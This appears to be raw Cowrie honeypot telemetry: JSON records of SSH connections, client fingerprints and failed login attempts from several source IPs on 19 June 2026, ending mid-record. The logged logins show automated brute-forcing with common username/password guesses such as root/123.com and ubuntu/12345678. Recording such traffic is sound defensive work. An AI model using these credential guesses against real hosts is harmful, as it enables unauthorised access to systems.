{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:16.596094Z","src_ip":"102.213.34.99","session":"37917464b149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:16.766341Z","src_ip":"102.213.34.99","session":"37917464b149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"ved","message":"login attempt [dev/ved] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:17.501509Z","src_ip":"102.213.34.99","session":"37917464b149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:18.217259Z","src_ip":"91.92.40.36","session":"ae687e8601b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:18.675460Z","src_ip":"102.213.34.99","session":"37917464b149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45698,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b4d278b95be","protocol":"ssh","message":"New connection: 91.92.40.36:45698 (10.17.0.5:22) [session: 8b4d278b95be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:19.354542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:19.791354Z","src_ip":"91.92.40.36","session":"8b4d278b95be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:19.795085Z","src_ip":"91.92.40.36","session":"8b4d278b95be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:20.569769Z","src_ip":"91.92.40.36","session":"ae687e8601b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com","message":"login attempt [root/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:21.166947Z","src_ip":"91.92.40.36","session":"8b4d278b95be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:22.803647Z","src_ip":"91.92.40.36","session":"8b4d278b95be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23892,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f274ba20ec1","protocol":"ssh","message":"New connection: 91.92.40.36:23892 (10.17.0.5:22) [session: 4f274ba20ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:26.270787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:26.861841Z","src_ip":"91.92.40.36","session":"4f274ba20ec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:26.865510Z","src_ip":"91.92.40.36","session":"4f274ba20ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:29.793812Z","src_ip":"91.92.40.36","session":"4f274ba20ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:30.970965Z","src_ip":"91.92.40.36","session":"4f274ba20ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23962,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9c02b4943a","protocol":"ssh","message":"New connection: 91.92.40.36:23962 (10.17.0.5:22) [session: 1c9c02b4943a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:35.080882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:35.945581Z","src_ip":"91.92.40.36","session":"1c9c02b4943a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:35.981068Z","src_ip":"91.92.40.36","session":"1c9c02b4943a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:41.527776Z","src_ip":"91.92.40.36","session":"1c9c02b4943a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28328,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a70f9abe4c","protocol":"ssh","message":"New connection: 91.92.40.36:28328 (10.17.0.5:22) [session: c7a70f9abe4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:42.966269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:43.040712Z","src_ip":"91.92.40.36","session":"c7a70f9abe4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:43.128206Z","src_ip":"91.92.40.36","session":"c7a70f9abe4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:43.287643Z","src_ip":"91.92.40.36","session":"1c9c02b4943a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq111111","message":"login attempt [root/qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:43.816287Z","src_ip":"91.92.40.36","session":"c7a70f9abe4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:45.577909Z","src_ip":"91.92.40.36","session":"c7a70f9abe4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28920,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b144d79f799","protocol":"ssh","message":"New connection: 91.92.40.36:28920 (10.17.0.5:22) [session: 5b144d79f799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:48.467893Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":53998,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ccf5843d7dd","protocol":"ssh","message":"New connection: 97.74.87.152:53998 (159.203.135.109:22) [session: 6ccf5843d7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:48.751088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:48.755543Z","src_ip":"97.74.87.152","session":"6ccf5843d7dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:48.984409Z","src_ip":"97.74.87.152","session":"6ccf5843d7dd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:49.518582Z","src_ip":"91.92.40.36","session":"5b144d79f799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:49.540609Z","src_ip":"91.92.40.36","session":"5b144d79f799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"syncuser","password":"1234","message":"login attempt [syncuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:49.936875Z","src_ip":"97.74.87.152","session":"6ccf5843d7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":45804,"dst_ip":"159.203.135.109","dst_port":22,"session":"2078b549da70","protocol":"ssh","message":"New connection: 102.210.148.92:45804 (159.203.135.109:22) [session: 2078b549da70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:51.129682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:51.134648Z","src_ip":"102.210.148.92","session":"2078b549da70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:51.168418Z","src_ip":"97.74.87.152","session":"6ccf5843d7dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:51.375795Z","src_ip":"102.210.148.92","session":"2078b549da70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yogesh","password":"yogesh@123","message":"login attempt [yogesh/yogesh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:52.369569Z","src_ip":"102.210.148.92","session":"2078b549da70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:53.612521Z","src_ip":"102.210.148.92","session":"2078b549da70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"professor","password":"professor","message":"login attempt [professor/professor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:54.109829Z","src_ip":"91.92.40.36","session":"5b144d79f799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:56.230705Z","src_ip":"91.92.40.36","session":"5b144d79f799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10890,"dst_ip":"10.17.0.5","dst_port":22,"session":"11be08aa5957","protocol":"ssh","message":"New connection: 91.92.40.36:10890 (10.17.0.5:22) [session: 11be08aa5957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:56.997676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:55:57.786928Z","src_ip":"91.92.40.36","session":"11be08aa5957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com"